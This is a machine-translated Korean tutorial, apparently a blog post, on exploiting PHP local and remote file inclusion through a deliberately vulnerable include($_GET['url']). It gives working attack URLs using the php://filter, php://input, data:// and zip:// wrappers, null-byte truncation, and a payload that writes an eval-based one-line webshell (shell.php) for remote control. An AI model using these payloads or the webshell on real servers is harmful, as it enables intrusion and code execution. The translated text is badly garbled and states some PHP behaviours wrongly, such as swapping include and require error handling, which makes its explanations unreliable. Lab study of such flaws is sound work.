파일에 포함될 취약점 원칙 프로브
작성자 : 거울 왕 유양
이메일 : [email protected]
연락처 : 2821319009 (QQ)
프로필 : https://www.cnblogs.com/wangyuyang1016/
파일 포함
파일이 들어있는 파일을 참조 다른 파일이 포함되어, 재사용 가능한 기능은 별도의 파일에 기록 된 개발 프로세스를, 당신은 "파일의 과정이 될 수있는 프로그램에서 직접 파일을 호출 할 때이 기능을 사용하려면 필요 "포함
문서에 포함 된 기능은 악성 파일을 호출 할 수있는 클라이언트, 동적 호출이 발생하기 때문에
PHP 파일은 다음과 같습니다
PHP 함수를 포함하는 파일은 종종있다 네 기능 파일 기능 강력하고 유연한 제공 포함 제공
위험 함수를 포함 (PHP)
include()
실행을 중지 할 포함 된 파일에서 찾을 때 오류 "E_COMPLE_ERROR"를 생성 할 수 없습니다
include_once()
파일에서 코드가 포함 된 경우 그리고, 이전처럼 더 이상 포함되지 않습니다
require()
파일을 찾을 수 없습니다 포함하는 경고 "E_WARNING는"계속 실행이다
require_once()
그리고, 이전처럼, 포함 된 파일에서 찾을 수 없습니다 경고 "E_WARNING는"계속 실행이다
예를 들면 파일을 포함
시범 개발
<?php
include("ArrayUtil.php"); //利用include函数包含
$arr = array("sougou","google","yahoo","baidu","FackBook");
PrintArr($arr);
?>
<?php
function PrintArr($arr,$sp=' ==> ',$lin="<br/>"){
foreach ($arr as $key => $value) {
echo "$key $sp $value $lin";
}
}
?>
의 index.php 파일 사용 include
기능 파일을 ArrayUtil.php 파일을 포함, 당신은에서의 index.php에서 ArrayUtil.php 파일 PrintArr () 함수를 사용할 수 있습니다 index.php에 선 우리는 () 함수 PrintArr를 호출 4.
액세스의 index.php에 브라우저를 사용하여
취약점으로 보여줍니다 (로컬로 실행)
<?php
include("phpinfo.txt");
?>
<?php
phpinfo();
?>
음! TXT 파일이 성공적으로 포함 된, 나는 가능한 파일 형식이 성공적으로 실험을 다른 서버의 다양한 테스트! 나는 증거가 이렇게이다 얻었다 : include()
모든 파일 기능은 PHP 파일을 구문 분석에 포함되지만, 경우에만 라인 PHP 코드 표준에서 파일의 내용;의 사양에 맞지 않는 내용이 PHP 코드 파일의 내용 페이지에 노출 될 경우 (초점입니다)
취약점 데모 (원격 실행)
PHP뿐만 아니라, 당신은 또한 포함하는 원격 파일을 수행 할 수있는 (로컬)의 서비스 종료에 포함 된 파일을 수행 할 수 있습니다;
이 파일은 구성 파일 (PHP를 원격으로 기본적으로 해제 파일을 포함) 수정할 수있는 원격 실행의 php.ini 필요성을 포함
allow_url_include = on
우리가 원격 조건을 가지고 있지 않기 때문에, 우리는 하 모양 로컬 환경을 설정했다! ! !
D : \ phpStudy \ phpinfo.txt
<?php
phpinfo();
?>
127.0.0.1/index.php
<?php
include("D:\phpStudy\phpinfo.txt");
?>
변화에 대한 한 가지 방법
<?php
include($_GET['url']);
?>// 记住这个代码后面会一直使用
URL 주소는 여기에만 원격 파일 URL 매개 변수 값이 제출 포함, 원격 파일 포함 및 분석 방법 같은 것을 포함 로컬 파일, 그들은 사양은 PHP 코드에 따라 PHP 코드 실행을 분석 할 수 충족하는.
우리는 존재하지 않는 파일을 포함하는 경우, 오류가 발생, 사이트의 경로가 노출됩니다!
PHP 파일 포함은 기본 사용 취약점
중요한 문서를 읽기
유사 건설http://127.0.0.1/?url=.\phpinfo.txt
음! 우리는 왜 텍스트를 보았다?
때문에
include()
파일을 실행합니다 기능이 포함되어, 그들은 사양을 충족하는 내용의 파일 형식에 상관없이이 PHP 코드 PHP 구문 분석에 따라있을 것이다 출력 파일 내용을 지시 할 PHP 코드의 사양을 충족하지.
통합 기능 : 파일을 다른 파일 액세스 지역 PHP 구문 분석 또는 비디오 텍스트의 내용을 다시 수행 등이이 기능의 방법을 사용하여, 특히 문자를 구분하는 파일 시스템을, 예를 들어, php.ini의 설정 파일, 구성 파일의 my.ini 다른 민감한 정보, 상기 파일 경로 (에러 에코를 사용하여 예컨대 상기 방식으로) 다른 동작과의 접속을 얻는 것이 필요
중요한 점 : 권한을 작동하면 파일 오을 가지고
원격 셸은 포함
원격 조건부 텍스트가 포함 allow_url_fopen= on
shell.txt (기능 : 로컬 서버에있는 단어 트로이 목마 스크립트를 작성) 만들기
<?php
$key= ("<?php @eval(\$_POST['mirror']);?>");//$符号需要转义要按字符存
$file = fopen("shell.php","w");
fwrite($file, $key);
fclose($file);
?>
건축 :http://127.0.0.1/?url=..\xx\shell.txt
원격 텍스트가 포함의 성공적인 구현 한 후, 서버는 로컬 "shell.php"단어 트로이 목마 실행 파일을 생성합니다
shell.php 만든 후, "헬기"연결 문장을 사용합니다 :
음! 그것은 로컬 단어 shell.php 트로이 목마, 트로이 목마를 만들 수있는 실행 파일, 심지어 부엌 칼을 포함하고 있습니다! 셔틀은 받으실 수 있습니다!
업로드 파일에 포함 된로
사용 업로드 기능을 웹 애플리케이션은 다음 트로이 목마는 로컬 서버에서 PHP 파일을 실행 만드는 과정 이후에 포함 된 실행 업로드 된 사진, 이미지와 의사 트로이 목마 기능을 포함하는 파일을 사용, 의사 트로이 목마의 사진을 업로드
사용 PHP 캡슐화 프로토콜
PHP는 많은 내장되어 PHP 캡슐화 프로토콜 (자세한 내용은 공식 문서를 참조하십시오) , 캡슐화 프로토콜의 기능과 파일 기능 (fopen의 (), 복사 () , file_exists (), 파일 크기 ()) 이벤트와 유사한 기능을
allow_url_fopen:on
이 옵션에 너무 URL 오브젝트 파일에 액세스하고 사용 URL fopen의 래퍼를 활성화 형태에 기본적으로 활성화되어 있습니다.
allow_url_include:off
기본적으로이 옵션에 URL 오브젝트 파일을 포함 할 수있다 꺼짐
보안 고려 사항은 모두 폐쇄
내장 프로토콜 캡슐화
[견적] 공식 문서
- 파일 : // - 로컬 파일 시스템에 액세스
- HTTP : // - 액세스 HTTP (S) URL
- 는 FTP : // - 액세스 FTP (들)의 URL
- 자료 : // - 데이터 (2397 RFC)
- 글로브 : // - 패턴 일치 찾기 경로 이름
- 의 Phar : // - PHP 아카이브
- SSH2 : // - 보안 쉘 2
- RAR : // - RAR
- OGG : // - 오디오 스트림
- 기대 : // - 대화 형 프로세스 흐름
파일 : // 프로토콜 :
로컬 파일 시스템에 액세스
file://[本地文件的绝对路径和文件名]
PHP : // 프로토콜 :
개별 IO 스트림에 액세스
열 필요 allow_url_include: on
PHP : // 표준 입력 : 입력 및 출력 스트림을 대응 PHP 프로세스에 직접 액세스 (읽기 전용)
PHP : // 표준 출력 : 해당 PHP 프로세스 입출력 스트림 (에만 기입)에 직접 액세스 할
PHP : // 열려진 : 해당 PHP 프로세스 입출력 스트림 (에만 기입)에 직접 액세스 할
PHP : // 필터 : 임의의 파일 읽기의 사용
PHP : // INPUT : 원시 데이터 스트림에 대한 액세스 요청, 포스트 구문 분석 PHP와 같은 데이터 요청 읽기 전용
PHP : // 출력 : 단지 기록 된 데이터 스트림 및 인쇄 모드를 허용하는 출력 버퍼에 기록 된 에코
PHP : // FD : 수 지정된 파일 기술자에 직접 액세스
자세한 내용은 공식 PHP를 참조 할 수 있습니다 : // 프로토콜 문서
우편 번호 : // 프로토콜 :
(우편 번호 : //의 bzip2 : //, ZLIB : //) 압축 된 스트림에 속하는 하위 폴더에있는 파일을 압축 액세스 할 수 있습니다, 그리고 더 중요한 것은, 접미사를 지정할 필요가 없습니다
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
URL에 참고 파운드 기호 '#'은 23 %를 설정해야
자료 : // 프로토콜 :
allow_utl_include= On
data://text/plain;base64,[string_base64加密后]
glob에 : // 프로토콜 :
패턴 매칭 쿼리 파일 경로
glob://[url]
<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
기대 : // 프로토콜 :
대화 형 데이터 처리 흐름 (기본값이 설정되지 않으며, 필요 확장 PECL은-기대 설치)
expect://command
문서를 참조 : PHP 의사 프로토콜을 실행 제스처 명령 7 종류
읽기 PHP 파일
사용 파일 : // 파일의 내용을 읽어
file://[本地文件的绝对路径和文件名]
사용 PHP는 : // 필터 PHP는 파일의 내용을 읽어
http://127.0.0.1/?url=php://filter/read=convert.base64-encode/resource=shelll.php
여기에 제시된 결과는 암호화 된 Base64로의 결과입니다
PHP 파일을 쓰기
PHP를 사용 : // 입력 :
사용은 php://input
PHP 문을 실행할 수 있지만 제한됩니다allow_utl_include= On
URL 텍스트 :
http://127.0.0.1/index.php/?url=php://input
포스트 데이터:
<?php phpinfo();?>
음! 사용 "PHP : // 입력"단어 트로이 목마 파일을 만들 로컬 // 입력 PHP를 실행 서버, 결과는 상상 할 수 있습니다 우리가 PHP를 사용하는 경우에만 에코은 phpinfo () 실행 PHP 코드 "포스트 데이터 데이터 내용"
데이터의 사용 : // :
에 한정 allow_utl_include= On
php.ini의 구성
?file=[data://text/plain;base64,[base64编码加密的payload)]
참고 닫기 태그 PHP는 없다
사용은 우편 번호 : // :
?url=zip://C:\Users\Mirror\Desktop/zip.zip%23shell.php
개요
위의 이미지는 ^ _ ^받는 복사본 FREEBUF 깔때기 커뮤니티에서 기사의 저자, 간주 좋은 요약입니다
잘린다 포함
magic_quotes_gpc = off
//www.cnblogs.com/timelesszhuang/p/3726736.html : HTTPS 상태 00 %를 절단에 리드를 탈출 할 수 없습니다 때문에 기능 끄기 만, 상태에 사용할 수 있습니다아래 PHP6는 / 7 종료
magic_quotes_gpc
기능 : PHP6 \ 프로그램의 폐쇄 7 magic_quotes_gpc의 영향
파일 버그 수정, 특히 포함 include()
만큼 잘 한계 확장으로, 기능을 포함하는 문서를?
<?php
if(iset($_GET['url'])){
include $_GET['url'].".php";
} else{
include 'home.php';
}
?>
위의 절차가 제한 확장을 고정, 사용자는 사용자 이름 접미사를 제출할 필요가 없습니다 할 수있는 파일 이름을 지정해야
이제 우리는 사용하기 전에, 수단을 포함 "shell.php"파일을 포함
http://127.0.0.1/index.php/?url=shell.php
프로그램 고정 형식 파일 접미사 때문에, 그래서 배경을 구성하는 것
shell.php.php
그러나 include()
따라서 오류가 발생합니다 "shell.php.php"를 찾을 수 없습니다
바이트를 사용하여 절단
http://127.0.0.1/index.php/?url=shell.php%00
PHP5.2 + 버전이 점차적으로 잘립니다 바이트 수리, 그래서 약간의 이점이있다
내가 너무 많은 세부 설명을하지 않는다 ^ _ ^